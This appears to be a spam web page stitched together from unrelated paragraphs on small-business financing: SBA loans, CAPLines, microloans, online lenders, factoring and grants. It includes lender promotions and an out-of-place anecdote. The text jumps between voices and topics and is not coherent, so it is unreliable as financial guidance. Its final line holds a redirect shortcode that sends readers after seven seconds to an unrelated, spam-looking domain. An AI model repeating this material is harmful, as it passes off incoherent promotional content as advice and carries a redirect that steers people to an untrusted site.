For instance, Melissa Kobus, founder of Gloss Salon & Day Spa, told us that she found that starting a profitable small business takes money—money that banks aren’t always willing to lend a new company.
Read our in-depth guide to SBA 504 loans for more details You can also check current CDC rates on our SBA Loan Rates page. If you’re not wanting to work with a CDC, then you should look at getting an SBA 7a commercial real estate loan. Northeast Bank offers rates as low as 5.5% on loans up to $5,000,000. Get pre-qualified by filling out a short online form..
Benefits of SBA loans include lower down payments and longer repayment terms than conventional bank loans, enabling small businesses to keep their cash flow for operational expenses and spend less on debt repayment.
It is important to consider existing debt, whether it be from credit cards or previous loans. If you aren’t planning on your funds for debt consolidation, it would be challenging to repay a new loan if you are already struggling to pay off other debts. That’s why if you still have a significant amount of debt left to pay off, we suggest waiting before you apply for a loan. You’ll likely feel more comfortable repaying a loan if you are not obligated to make other debt payments at the same time.
Don’t be a fad-follower: Did you start your company because you are truly passionate about your idea or because you want to cash in on the latest trend? Angels can spot the difference and won’t give much attention to those whose companies are essentially get-rich-quick schemes.
CAPLines are SBA lines of credit meant to help small businesses meet short-term and seasonal working capital needs. The SBA offers 5 types of these lines of credit. They can be fixed or revolving, have a max term of 5 years, and otherwise adhere to SBA 7(a) rules. Read more…
Our recommend SBA loan provider is SmartBiz. They offer SBA 7(a) up to $350k. If you have been in business 2+ years, are profitable, and have a credit score above 680, you can prequalify online in just a few minutes.
SBA small business loans offer attractive repayments terms and low interest rates. The loans are typically not directly from the SBA. Rather, the SBA encourages banks to lend to small business owners with preferable terms and multiple loan options. In return, the SBA guarantees 75 to 85 percent of the loan for the bank if the loan defaults.
Microloans and personal loans are good options to finance your inventory and daily expenses if you’re an established business but make less than $25,000 in revenue. Microloans through nonprofits and the SBA usually have low APR and manageable payment terms, but you’d have to deal with stringent requirements. Personal loans are easier to access, but the APR can be higher than with microloans.
Qualifying for online lenders can be easier. Although online lenders typically underwrite loans based on traditional factors such as credit scores, annual revenue and cash flow, the loans carry less stringent requirements than SBA loans. For example, some online lenders may qualify you even without strong credit or an established business, and the lender may be more lenient with a recent bankruptcy. On the downside, this speed and ease of qualification typically comes with a more expensive loan.
Factoring is a finance method where a company sells its receivables at a discount to get cash up-front. It’s often used by companies with poor credit or by businesses such as apparel manufacturers, which have to fill orders long before they get paid. However, it’s an expensive way to raise funds. Companies selling receivables generally pay a fee that’s a percentage of the total amount. If you pay a 2 percent fee to get funds 30 days in advance, it’s equivalent to an annual interest rate of about 24 percent. For that reason, the business has gotten a bad reputation over the years. That said, the economic downturn has forced companies to look to alternative financing methods and companies like The Receivables Exchange are trying to make factoring more competitive. The exchange allows companies to offer their receivables to dozens of factoring companies at once, along with hedge funds, banks, and other finance companies. These lenders will bid on the invoices, which can be sold in a bundle or one at a time.
Small-business grants from private foundations and government agencies are another way to raise startup funds for your small business. They’re not always easy to get, but free capital might be worth the hard work for some new businesses. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]